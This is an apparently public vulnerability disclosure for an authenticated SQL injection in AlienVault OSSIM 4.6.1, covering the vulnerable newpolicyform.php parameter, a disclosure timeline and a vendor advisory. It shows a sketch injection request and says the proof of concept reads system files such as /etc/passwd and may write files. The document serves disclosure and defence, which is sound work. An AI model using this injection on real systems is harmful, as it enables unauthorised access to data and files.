Alienvault Open Source SIEM (OSSIM) 4.6.1 – (Authenticated) SQL Injection (Metasploit)
Exploit Title: AlienVault newpolicyform.php SQLi Date: 5/9/2014 Exploit Author: chrisdhebert[at]gmail.com Vendor Homepage: http://www.alienvault.com/ Software Link: http://www.alienvault.com/free-downloads-services Version: 4.6.1 and below Tested on: Linux CVE : n/a Vendor Security Advisory : AV-11394 http://forums.alienvault.com/discussion/2690/security-advisories-v4-6-1-and-lower Timeline: -------- 4/14/2014 (Vulnerablity Discovered) 4/17/2014 (Vendor Informed with receipt) 5/5/2014 (Vendor Patch Released v4.7.0) 5/9/2014 (Public Release) Vendor Discription: ------------------ OSSIM is the most widely used SIEM offering, thanks in no small part to the open source community that has promoted its use. OSSIM provides all of the capabilities that a security professional needs from a SIEM offering, event collection, normalization, correlation and incident response - but it also does far more. Not simply satisfied with integrating data from existing security tools, OSSIM is built on the Unified Security Management platform which provides a common framework for the deployment, configuration, and management of your security tools. Vulnerability Details: --------------------- The vulnerability can be classified as "SQL Injection" from authenticated users. No input validation is performed when processing parameters on the following request: GET /ossim/policy/newpolicyform.php?insertafter='SQLi HTTP/1.1 Although this POC demonstrates READ access to files readable by u=mysql g=root o=all (such as /etc/passwd). It should be noted that, an attacker should be able to WRITE to a new file with sufficient permissions such as /tmp/newfile. After a quick search, exploiting this may be midigated by the current file permissions of /usr/share/*ossim/www/* and other vhosts handled by apache. For those with more time, other writeable locations could be leveraged with this vulnerablity.
